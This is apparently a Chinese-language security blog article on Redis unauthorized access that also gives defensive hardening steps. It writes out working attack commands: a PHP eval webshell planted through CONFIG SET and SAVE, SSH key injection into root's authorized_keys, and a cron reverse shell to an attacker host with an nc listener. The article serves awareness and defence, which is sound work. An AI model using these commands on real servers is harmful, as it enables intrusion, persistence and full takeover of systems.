Redis未授权访问漏洞:从原理到命令执行的全面解析

在当今高速发展的互联网架构中,Redis作为一款高性能的内存数据库,被广泛应用于缓存、会话存储、消息队列等关键场景。然而,正是这种高频率的部署,使得其安全性问题日益凸显。近期,一则关于“Redis源代码中存在潜伏13年的10级漏洞”的新闻再次将Redis的安全风险推上风口浪尖(CVE-2025-49844)。尽管该漏洞涉及Lua脚本与内存管理机制,但长期以来,更为普遍且危险的威胁——Redis未授权访问导致远程命令执行(RCE)——依然是企业和开发者必须高度重视的安全隐患。

Redis未授权访问漏洞:从原理到命令执行的全面解析

本文将深入剖析Redis未授权访问漏洞的成因、利用方式及防御策略,帮助您全面理解并防范这一潜在威胁。


什么是Redis未授权访问?

Redis(Remote Dictionary Server)是一款开源的键值对存储系统,因其读写速度快、支持多种数据结构而广受欢迎。然而,默认配置下的Redis存在两个致命特性:

  1. 默认无认证机制:Redis安装后不强制设置密码,若管理员未手动启用requirepass指令,任何能够连接到服务端的用户均可直接操作数据库。

  2. 监听所有网络接口:默认情况下,Redis绑定在0.0.0.0:6379,意味着只要网络可达,即可发起连接。

当这两个条件同时满足时,就形成了所谓的“未授权访问”漏洞。攻击者无需任何凭证便可操控Redis实例,进而通过一系列技术手段实现远程命令执行(RCE),彻底掌控服务器。

⚠️ 据Wiz研究员统计,全球仍有约33万个Redis实例暴露于公网,其中超过6万个未配置身份验证,风险极高。


如何通过Redis未授权访问执行系统命令?

虽然Redis本身并不直接提供执行操作系统命令的功能,但其强大的文件操作能力为攻击者打开了“后门”。以下是几种常见的命令执行或持久化控制方式:

方式一:写入WebShell获取Web权限

适用场景:目标服务器运行有Web服务,且Redis拥有对其目录的写权限。

攻击流程

1# 1. 连接目标Redis
2redis-cli -h <target_ip> -p 6379
3
4# 2. 获取信息确认环境
5INFO                    # 查看操作系统、版本、配置路径
6CONFIG GET dir          # 查看当前工作目录
7CONFIG GET dbfilename   # 默认为 dump.rdb
8
9# 3. 修改配置指向Web目录并重命名文件
10CONFIG SET dir "/var/www/html"
11CONFIG SET dbfilename "shell.php"
12
13# 4. 写入PHP一句话木马
14SET webshell "<?php @eval($_POST['cmd']);?>"
15
16# 5. 强制保存到磁盘
17SAVE

此时,攻击者可通过浏览器访问http://<target>/shell.php,使用蚁剑等工具连接,执行任意PHP代码,进而提权至系统层面。

🔍 注意:为避免内容被截断,建议在payload前后添加换行符\n\n以确保完整性。


方式二:写入SSH公钥实现免密登录

适用场景:Redis以root权限运行,且目标系统开启SSH服务。

这是目前最高效的提权方式之一。

步骤详解

  1. 生成SSH密钥对

    1ssh-keygen -t rsa -C "attack@redis"
  2. 格式化公钥并上传至Redis

    1(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") | redis-cli -h <target_ip> -x set crackit

    注:首尾各加两行空行是为了防止rdb文件头部或尾部数据干扰。

  3. 修改Redis持久化路径为SSH授权文件

    1CONFIG SET dir "/root/.ssh"
    2CONFIG SET dbfilename "authorized_keys"
    3SAVE
  4. 使用私钥直接登录

    1ssh -i ~/.ssh/id_rsa root@<target_ip>

成功后即可获得完整的root shell权限。


方式三:利用计划任务反弹Shell(CentOS专用)

适用场景:无法直接写Web目录或SSH目录不可写,但系统支持cron定时任务。

原理:将恶意命令写入/var/spool/cron/root,触发定时反弹Shell。

1# 设置工作目录为cron目录
2CONFIG SET dir "/var/spool/cron/"
3CONFIG SET dbfilename "root"
4
5# 写入反弹Shell命令(每分钟执行一次)
6SET rce "\n* * * * * bash -i >& /dev/tcp/<your_vps_ip>/4444 0>&1\n"
7SAVE

攻击机监听端口:

1nc -lvp 4444

几分钟内即可收到反弹的Shell会话。

❗ 注意:此方法主要适用于CentOS系列系统。Ubuntu对crontab语法和权限要求更严格,Redis写入的额外字节可能导致任务失败。


方式四:主从复制+模块加载(高级RCE)

针对Redis 4.x/5.x版本,可利用主从复制协议动态加载外部模块,植入恶意.so文件实现任意代码执行。此方法技术门槛较高,常用于绕过防火墙限制或无文件攻击场景。


真实案例警示:你以为只是“水坑”,实则已是“失陷”

“突然发现!一直以为Redis未授权是水洞,结果能RCE(啊这?之前谁说不收redis漏洞来着)”——某红队成员笔记

不少企业曾认为Redis仅用于缓存,即使泄露也“无关紧要”。然而现实是,一旦被攻破,攻击者可在数分钟内完成横向移动、权限提升、数据窃取甚至勒索加密。近年来多起大规模数据泄露事件背后,都隐藏着一个开放的6379端口。


如何有效防御Redis未授权访问?

✅ 安全加固建议:

  1. 启用访问认证redis.conf中设置强密码:

     

    conf

    编辑

    1requirepass YourStrongPasswordHere123!
  2. 限制网络访问 绑定内网IP,禁止公网暴露:

    1bind 127.0.0.1 192.168.1.100
    2protected-mode yes
  3. 配置防火墙规则 使用iptables或云安全组仅允许可信IP访问6379端口。

  4. 以非root用户运行 避免Redis进程拥有过高权限,降低被利用后的破坏力。

  5. 定期升级版本 及时修复已知漏洞。如本文开头提到的CVE-2025-49844,影响所有支持Lua脚本的版本,务必升级至官方最新版。

  6. 监控异常行为 关注以下入侵迹象:

    • 未知来源的数据库访问

    • 异常网络流量(尤其是出站连接)

    • 数据库中出现陌生脚本或键值

    • Redis频繁崩溃或Lua引擎报错


安全无小事,细节决定成败

Redis未授权访问虽非传统意义上的“漏洞”,更多源于配置不当,但其带来的后果却极为严重。一个简单的疏忽,可能让整个内网沦陷。

随着云原生和微服务架构的普及,数据库安全已成为DevSecOps不可或缺的一环。无论是开发、运维还是安全人员,都应树立“最小权限原则”和“纵深防御”意识,从源头杜绝此类风险。

📢 立即行动建议

  • 扫描内部资产,排查是否存在对外开放的Redis实例。

  • 对所有自托管Redis部署进行安全审计。

  • 推动自动化检测与响应机制建设。

只有将安全融入每一个环节,才能真正构建可信的数字基础设施。

发表评论

评论列表

还没有评论,快来说点什么吧~